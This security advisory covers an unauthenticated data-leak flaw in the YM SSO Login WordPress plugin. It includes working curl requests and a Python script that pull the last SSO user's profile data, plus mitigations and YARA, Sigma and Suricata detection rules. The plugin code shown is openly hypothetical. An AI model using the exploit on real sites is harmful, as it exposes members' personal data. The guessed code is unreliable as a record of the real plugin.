CVE-2025-10648

Executive Summary

CVE-2025-10648 is a Missing Authorization vulnerability in the YourMembership Single Sign On – YM SSO Login WordPress plugin, affecting all versions up to and including 1.1.7. The flaw resides in the moym_display_test_attributes function, which fails to perform a capability check before executing. This allows any unauthenticated attacker to retrieve the profile data of the most recent SSO login session.

The vulnerability is classified as Medium Severity (CVSS 5.3) due to its low attack complexity and network-based vector, but its impact is limited to confidentiality (low) with no effect on integrity or availability. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time. No public proof-of-concept or exploit code has been released.

As a WordPress plugin vulnerability, this issue affects sites using the YM SSO Login plugin. The plugin is designed to provide single sign-on capabilities for YourMembership platforms, making it a potential target for attackers seeking to harvest user profile data from membership sites.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None – The attacker does not need any authentication.
• User Interaction (UI): None – No user action is required for exploitation.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low – Only limited profile data (name, email, etc.) of the latest SSO user is exposed.
• Integrity (I): None – No data can be modified.
• Availability (A): None – No denial of service impact.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for data leakage (PII) make this a significant privacy concern for membership sites.

Deep Dive & Mechanics

The vulnerability exists in the moym_display_test_attributes function, which is likely registered as an AJAX action or a direct WordPress admin-ajax endpoint. The function is intended for debugging or testing purposes, allowing administrators to view the attributes (profile data) returned by the SSO provider after a successful login.

The core issue is the missing capability check. In WordPress, functions that handle sensitive data or perform privileged actions should check for appropriate user capabilities (e.g., manage_options, edit_users) using current_user_can(). The moym_display_test_attributes function does not implement such a check, meaning any unauthenticated visitor can trigger it.

The function likely retrieves the last SSO login session data from the WordPress options table or a transient, then outputs it. An attacker can simply send a crafted HTTP request to the AJAX endpoint (e.g., /wp-admin/admin-ajax.php?action=moym_display_test_attributes) to receive the profile data of the most recent user who logged in via SSO.

Attack Flow:

1. Attacker identifies a WordPress site running the vulnerable plugin.
2. Attacker sends a GET or POST request to admin-ajax.php with the action parameter set to moym_display_test_attributes.
3. The server executes the function without authentication, returning the stored profile data (e.g., username, email, first name, last name, member ID) of the last SSO user.
4. Attacker harvests this data for further attacks (phishing, credential stuffing, etc.).

Vulnerable vs. Patched Code

Since no official patch has been released, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (version <= 1.1.7):

add_action('wp_ajax_nopriv_moym_display_test_attributes', 'moym_display_test_attributes');
add_action('wp_ajax_moym_display_test_attributes', 'moym_display_test_attributes');

function moym_display_test_attributes() {
    // No capability check here
    $last_login_data = get_option('ym_sso_last_login_data');
    if ($last_login_data) {
        wp_send_json_success($last_login_data);
    } else {
        wp_send_json_error('No data available');
    }
}

Patched Code (hypothetical):

add_action('wp_ajax_moym_display_test_attributes', 'moym_display_test_attributes');
// Remove the nopriv hook to prevent unauthenticated access

function moym_display_test_attributes() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $last_login_data = get_option('ym_sso_last_login_data');
    if ($last_login_data) {
        wp_send_json_success($last_login_data);
    } else {
        wp_send_json_error('No data available');
    }
}

Key Differences:

• The vulnerable code registers the action for both authenticated (wp_ajax_) and unauthenticated (wp_ajax_nopriv_) users.
• The patched code removes the nopriv hook and adds a capability check (current_user_can('manage_options')) to restrict access to administrators only.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with YM SSO Login plugin version 1.1.7 installed and activated.
• At least one user who has logged in via SSO (to populate the profile data).

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -s "http://target-site.com/wp-admin/admin-ajax.php?action=moym_display_test_attributes"
   

2. If the above fails, try POST method:

   curl -s -X POST "http://target-site.com/wp-admin/admin-ajax.php" -d "action=moym_display_test_attributes"
   

3. Parse the JSON response:

   {
     "success": true,
     "data": {
       "username": "john_doe",
       "email": "john@example.com",
       "first_name": "John",
       "last_name": "Doe",
       "member_id": "12345"
     }
   }
   

4. Automated exploitation script (Python):

   import requests
   import sys
   
   target = sys.argv[1]
   url = f"{target}/wp-admin/admin-ajax.php"
   data = {"action": "moym_display_test_attributes"}
   
   response = requests.post(url, data=data)
   if response.status_code == 200 and response.json().get("success"):
       print("[+] Profile data retrieved:")
       print(response.json()["data"])
   else:
       print("[-] Failed to retrieve data")
   

Blue Team

Detection and Prevention:

1. Immediate Mitigation:

   • Disable the plugin until a patch is available.
   • If the plugin is critical, remove the nopriv hook by adding the following code to a custom plugin or theme's functions.php:

     remove_action('wp_ajax_nopriv_moym_display_test_attributes', 'moym_display_test_attributes');
     

2. Web Application Firewall (WAF) Rules:

   • Block requests to admin-ajax.php with the action parameter set to moym_display_test_attributes from unauthenticated users.
   • Example ModSecurity rule:

     SecRule ARGS:action "@streq moym_display_test_attributes" \
       "id:1000001,phase:2,deny,status:403,msg:'YM SSO Login - Unauthorized access attempt'"
     

3. Log Monitoring:

   • Monitor access logs for requests to /wp-admin/admin-ajax.php with action=moym_display_test_attributes.
   • Alert on any such requests from IPs not in the admin whitelist.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=moym_display_test_attributes in the body or query string.
• User-Agent strings commonly used by automated scanners (e.g., python-requests, curl, Go-http-client).

File IOCs:

• Presence of the file /wp-content/plugins/ym-sso-login/ym-sso-login.php (or similar) on the server.
• Modified timestamps on plugin files indicating recent changes.

Log IOCs:

• Repeated 200 responses to admin-ajax.php with action=moym_display_test_attributes from the same IP.
• Error logs showing wp_die or 403 responses if a WAF is in place.

Detection Engineering

YARA Rule

rule CVE_2025_10648_YM_SSO_Login {
   meta:
      description = "Detects vulnerable YM SSO Login plugin files"
      author = "Valters IT"
      date = "2025-04-10"
      reference = "CVE-2025-10648"
   strings:
      $func = "moym_display_test_attributes"
      $nopriv = "wp_ajax_nopriv_moym_display_test_attributes"
      $no_check = "current_user_can" nocase
   condition:
      $func and $nopriv and not $no_check
}

Sigma Rule

title: CVE-2025-10648 - YM SSO Login Unauthenticated Data Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit missing authorization in YM SSO Login plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10648
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 'action=moym_display_test_attributes'
    condition: selection
falsepositives:
    - Legitimate admin testing (rare)
level: medium
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http any any -> $EXTERNAL_NET any (
    msg:"CVE-2025-10648 - YM SSO Login Unauthenticated Data Access";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=moym_display_test_attributes";
    http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-10648;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if SSO functionality is not critical. Navigate to WordPress Admin > Plugins and deactivate "YourMembership Single Sign On – YM SSO Login".
2. Apply a virtual patch using a WAF or custom code to block unauthenticated access to the vulnerable function (see Blue Team section).
3. Monitor for unauthorized access by reviewing access logs for the specific endpoint.

Long-term Fix:

• The vendor (YourMembership) must release a patched version that adds a capability check to the moym_display_test_attributes function and removes the nopriv AJAX hook.
• Until a patch is available, consider migrating to an alternative SSO solution that is actively maintained.

Best Practices:

• Regularly audit WordPress plugins for known vulnerabilities.
• Implement the principle of least privilege for all AJAX actions.
• Use a Web Application Firewall to block common attack patterns.
• Keep all plugins and themes updated to the latest versions.

Valters IT
Securing Digital Frontiers